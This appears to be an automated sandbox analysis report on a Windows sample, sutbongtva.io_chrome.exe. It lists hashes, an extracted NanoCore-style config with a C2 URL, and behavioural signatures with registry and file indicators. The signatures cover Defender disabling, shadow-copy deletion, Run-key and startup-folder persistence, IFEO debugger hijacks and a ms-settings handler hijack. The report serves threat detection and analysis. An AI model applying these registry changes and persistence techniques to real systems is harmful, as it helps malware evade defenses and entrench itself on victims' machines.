Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
12/08/2026, 10:42
Behavioral task
behavioral1
Sample
sutbongtva.io_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
sutbongtva.io_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
44 signatures
150 seconds
General
- Target sutbongtva.io_chrome.exe
- Size 48KB
- Sample260812-mrr8mseq6x
- SHA256 84f88c5ff8b7813bce377f350c6c8375854e55c6e13e769bdbabc80b9d5938b2
- MD5 8207756f06e6b67a351ec538eaf395b6
- SHA1 c8ed398c6e9b8ccd775b4de4cd7672565f3fbc8c
- SHA512 c9430dbdae2a2badf824a81d8377ba0d4404cf20ebfda535930eeece2d8cdfaa7cde468fbc850b07de86c93ecd4997d000d457bab85849258587192e8ed74261
- SSDEEP 768:ehFflWVjv2UD5FHQyKSHw6wqth4A//w4wC1XXGblfA02KFcn:uFgvVLHUKlwDAQ4wEXGblf92ucn
- TLSH T14223F75437F98511E1FF8EBA4DB196019B30B4A79C22D78E06D5058E1AB3B40CEA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
https://sutbongtva.io/
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
https://sutbongtva.io/
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4716-0-0x0000000000090000-0x00000000000A2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024a25-2374.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" sutbongtva.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" sutbongtva.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3324 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" sutbongtva.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts sutbongtva.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe sutbongtva.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe sutbongtva.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe sutbongtva.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3696 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation sutbongtva.io_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf sutbongtva.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf sutbongtva.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf sutbongtva.io_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5496 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe sutbongtva.io_chrome.exe File created C:\Windows\system32\svchost.exe sutbongtva.io_chrome.exe File created C:\Windows\system32\sysupdate.exe sutbongtva.io_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5188 wscript.exe 264 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" sutbongtva.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" sutbongtva.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 612 sc.exe 2600 sc.exe 752 sc.exe 3128 sc.exe 2260 sc.exe 5020 sc.exe 1136 sc.exe 4232 sc.exe 3116 sc.exe 2440 sc.exe 1732 sc.exe 1828 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5080 cmd.exe 5600 cmd.exe 5132 cmd.exe 2296 cmd.exe 4356 cmd.exe 648 cmd.exe 3824 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 216 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5368 ipconfig.exe 5508 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5456 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3536 vssadmin.exe 1464 vssadmin.exe 5932 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\WallpaperStyle = "2" sutbongtva.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134310049570804351" chrome.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe\" \"%1\"" sutbongtva.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open\command\DelegateExecute sutbongtva.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open\command sutbongtva.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings sutbongtva.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell sutbongtva.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell sutbongtva.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings sutbongtva.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\.pdf\ = "PDFBotnet" sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell sutbongtva.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open sutbongtva.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe" sutbongtva.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open\command sutbongtva.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\ms-settings\shell\open sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command sutbongtva.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open sutbongtva.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6108 schtasks.exe 688 schtasks.exe 3532 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4488 chrome.exe 4488 chrome.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe 4716 sutbongtva.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4716 sutbongtva.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeDebugPrivilege 3324 powershell.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeIncreaseQuotaPrivilege 3432 WMIC.exe Token: SeSecurityPrivilege 3432 WMIC.exe Token: SeTakeOwnershipPrivilege 3432 WMIC.exe Token: SeLoadDriverPrivilege 3432 WMIC.exe Token: SeSystemProfilePrivilege 3432 WMIC.exe Token: SeSystemtimePrivilege 3432 WMIC.exe Token: SeProfSingleProcessPrivilege 3432 WMIC.exe Token: SeIncBasePriorityPrivilege 3432 WMIC.exe Token: SeCreatePagefilePrivilege 3432 WMIC.exe Token: SeBackupPrivilege 3432 WMIC.exe Token: SeRestorePrivilege 3432 WMIC.exe Token: SeShutdownPrivilege 3432 WMIC.exe Token: SeDebugPrivilege 3432 WMIC.exe Token: SeSystemEnvironmentPrivilege 3432 WMIC.exe Token: SeRemoteShutdownPrivilege 3432 WMIC.exe Token: SeUndockPrivilege 3432 WMIC.exe Token: SeManageVolumePrivilege 3432 WMIC.exe Token: 33 3432 WMIC.exe Token: 34 3432 WMIC.exe Token: 35 3432 WMIC.exe Token: 36 3432 WMIC.exe Token: SeBackupPrivilege 920 vssvc.exe Token: SeRestorePrivilege 920 vssvc.exe Token: SeAuditPrivilege 920 vssvc.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeIncreaseQuotaPrivilege 3432 WMIC.exe Token: SeSecurityPrivilege 3432 WMIC.exe Token: SeTakeOwnershipPrivilege 3432 WMIC.exe Token: SeLoadDriverPrivilege 3432 WMIC.exe Token: SeSystemProfilePrivilege 3432 WMIC.exe Token: SeSystemtimePrivilege 3432 WMIC.exe Token: SeProfSingleProcessPrivilege 3432 WMIC.exe Token: SeIncBasePriorityPrivilege 3432 WMIC.exe Token: SeCreatePagefilePrivilege 3432 WMIC.exe Token: SeBackupPrivilege 3432 WMIC.exe Token: SeRestorePrivilege 3432 WMIC.exe Token: SeShutdownPrivilege 3432 WMIC.exe Token: SeDebugPrivilege 3432 WMIC.exe Token: SeSystemEnvironmentPrivilege 3432 WMIC.exe Token: SeRemoteShutdownPrivilege 3432 WMIC.exe Token: SeUndockPrivilege 3432 WMIC.exe Token: SeManageVolumePrivilege 3432 WMIC.exe Token: 33 3432 WMIC.exe Token: 34 3432 WMIC.exe Token: 35 3432 WMIC.exe Token: 36 3432 WMIC.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeDebugPrivilege 4716 sutbongtva.io_chrome.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeShutdownPrivilege 4488 chrome.exe Token: SeCreatePagefilePrivilege 4488 chrome.exe Token: SeIncBasePriorityPrivilege 4716 sutbongtva.io_chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe 4488 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4716 sutbongtva.io_chrome.exe - Suspicious use of WriteProcessMemory 62 IoCs
